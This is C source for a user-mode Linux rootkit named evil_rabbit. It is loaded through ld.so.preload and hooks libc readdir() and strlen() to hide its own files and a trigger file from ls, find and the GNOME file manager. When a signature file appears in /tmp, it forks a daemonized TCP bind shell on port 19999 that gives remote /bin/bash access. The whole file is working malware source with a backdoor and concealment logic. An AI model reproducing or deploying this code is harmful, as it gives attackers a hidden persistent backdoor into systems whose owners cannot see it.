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evil_rabbit.c
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evil_rabbit.c
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/*
* Author: Abhinav Thakur
* Email : [email protected]
* Description: A user-mode rootkit that hooks libc readdir() to conditionally backdoors the system
* and hide its presence (or any other other malicious presence) whose name starts
* with the HIDE_FILE(s) macro defined below) from programs like /bin/ls, /usr/bin/find
* and basically every program using readdir() to parse filesystem.
*
* $ However, the peaceful intentions are only triggered if -
* -> There is SIGNATURE file present in /tmp directory.
*
* $ On triggering peace(), a TCP bind shell gets daemonized to listen on PORT macro defined below.
*
*/
#define _GNU_SOURCE
#include <dlfcn.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <dirent.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <errno.h>
#define HIDE_FILE1 "ld.so.preload"
#define HIDE_FILE2 "evil_rabbit"
#define HIDE_DIR "EVIL_RABBIT"
#define SIGNATURE ".snow_valley"
#define PORT 19999
static struct dirent* (*original_readdir)(DIR * ) = NULL;
static size_t (*original_strlen)(const char * ) = NULL;
static int PEACE_FLAG = 0;
/*
* Returns 1 if the a process listens on PORT and 0 otherwise. It results into termination of server
* process if it is able to establish a connection with the server process.
*/
int closeExistingConnection()
{
int client_sockfd = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in hostConfig;
// Clearing out hostConfig structure and adding server configuration.
memset(&hostConfig, 0, sizeof(struct sockaddr_in));
hostConfig.sin_family = AF_INET;
hostConfig.sin_port = htons(PORT);
hostConfig.sin_addr.s_addr = inet_addr("127.0.0.1");
// Connect to server (localhost:PORT)
int val = connect(client_sockfd, (struct sockaddr *) &hostConfig, sizeof(hostConfig));
if (val == 0){
close(client_sockfd);
return 1;
}
else return 0;
}
/*
* <A> Fork a child process
* <B> Let the parent return
* <C> Child process should daemonize the TCP Bind shell -
* 1. Create a socket
* 2. Bind the socket (Assigning a name to socket / configuring it)
* 3. Start listening
* 4. Accept a connection
* 5. Duplicate STDIN, STDOUT and STDERR file desciptors to the new accepted connection
* 6. Launch a shell.
* 7. Exit gracefully after the connection is closed.
*/
void peace()
{
pid_t pid = fork(); // <A>
if (pid < 0) return;
if (pid == 0) // <C>
{
int status;
// Use closeExistingConnection() if any error is raise even after setting errno = 0(SUCCESS).
// Close existing connection and wait for 2 seconds to prevent bind errors
//status = closeExistingConnection();
//sleep(2);
// Daemonize the TCP bind shell
daemon(0,1);
struct sockaddr_in socketConfig;
socketConfig.sin_family = AF_INET;
socketConfig.sin_port = htons(PORT);
socketConfig.sin_addr.s_addr = INADDR_ANY;
int sockfd = socket(AF_INET, SOCK_STREAM, 0); // <1>
if (sockfd == -1) {
//write(2, "[DEBUG]: socket()\n", 15);
errno = 0;
exit(0x0);
}
status = bind(sockfd, (struct sockaddr *) &socketConfig, sizeof(socketConfig)); // <2>
if (status == -1){
//write(2, "[DEBUG]: bind()\n", 13);
errno = 0;
exit(0x0);
}
status = listen(sockfd, 0); // <3>
if (status == -1){
//write(2, "[DEBUG]: listen()\n", 15);
errno = 0;
exit(0x0);
}
int conn_sockfd = accept(sockfd, NULL, NULL); // <4>
if (conn_sockfd == -1){
//write(2, "[DEBUG]: accept()\n", 15);
errno = 0;
exit(0x0);
}
dup2(conn_sockfd, 0); // <5> : duplicating STDIN
dup2(conn_sockfd, 1); // <5> : duplicating STDOUT
dup2(conn_sockfd, 2); // <5> : duplicating STDERR
char *const argv[] = {NULL};
execve("/bin/bash", argv, NULL); // <6>
exit(0x0); // <7>
}
return; // <B>
}
// Analogous to GetProcAddress() on Windows platform, it is used to find the address of a symbol.
// Start its search from our preloaded SO (evil_rabbit.so)
void *findSymbolAddress(char *symbol)
{
void *address = dlsym(RTLD_NEXT, symbol);
if (address == NULL) {
//fprintf(stderr, "[-] (%s) Cannot find symbol address: %s\n", __FUNCTION__, symbol);
exit(0x101);
}
return address;
}
/*
* DESCRIPTION OF ORIGINAL readdir()
* The readdir() function returns a pointer to a dirent structure representing the next directory
* entry in the directory stream pointed to by dirp. It returns NULL on reaching the end
* of the directory stream or if an error occurred.
*
* A. Get the address of original readdir() (libc wrapper)
* B. Parse the /tmp directory point
* 1. Open up another directory stream to the "/tmp" directory.
* 2. Search for a dirent present by the name of SIGNATURE in "/tmp" (if not already found),
* 3. Call for peace() if "/tmp/SIGNATURE" is found.
* 4. Set the PEACE_FLAG to 1 (indicating we found SIGNATURE and called for peace()).
* 5. Close the directory.
* C. Call original readdir() and read a directory entry.
* D. Check if the dir entry name starts with HIDE_FILE(s) or SIGNATURE, if so - skip the directory
* entry by reading the next directory entry.
* E. Return the directory entry.
*
*/
struct dirent *readdir(DIR *dirp)
{
if (original_readdir == NULL)
original_readdir = (struct dirent* (*)(DIR *))findSymbolAddress("readdir"); // <A>
{ // <B>
DIR *chk_dirptr = opendir("/tmp/"); // <1>
struct dirent *ent_ptr = NULL;
while ( (ent_ptr = original_readdir(chk_dirptr)) != NULL && PEACE_FLAG == 0) // <2>
{
if ( !strncmp(ent_ptr->d_name, SIGNATURE, strlen(SIGNATURE)) )
{
peace(); // <3>
PEACE_FLAG = 1; // <4>
break;
}
}
closedir(chk_dirptr); // <5>
}
struct dirent *dp = original_readdir(dirp); // <C>
// <D>
while ( dp != NULL &&
( !strncmp(dp->d_name, HIDE_FILE1, strlen(HIDE_FILE1)) ||
!strncmp(dp->d_name, HIDE_FILE2, strlen(HIDE_FILE2)) ||
!strncmp(dp->d_name, SIGNATURE, strlen(SIGNATURE)) )
){
dp = original_readdir(dirp);
}
return dp; // <E>
}
// Nautilus (file manager for GNOME) uses strlen() to allcate space for files to display.
// This function attempts to hide our files and directories from nautilus.
size_t strlen(const char *s)
{
if ( !strcmp(s, HIDE_FILE1) ||
!strcmp(s, HIDE_FILE2) ||
!strcmp(s, HIDE_DIR) ) return 0;
if (original_strlen == NULL)
original_strlen = (size_t (*)(const char *))findSymbolAddress("strlen");
size_t result = original_strlen(s);
return result;
}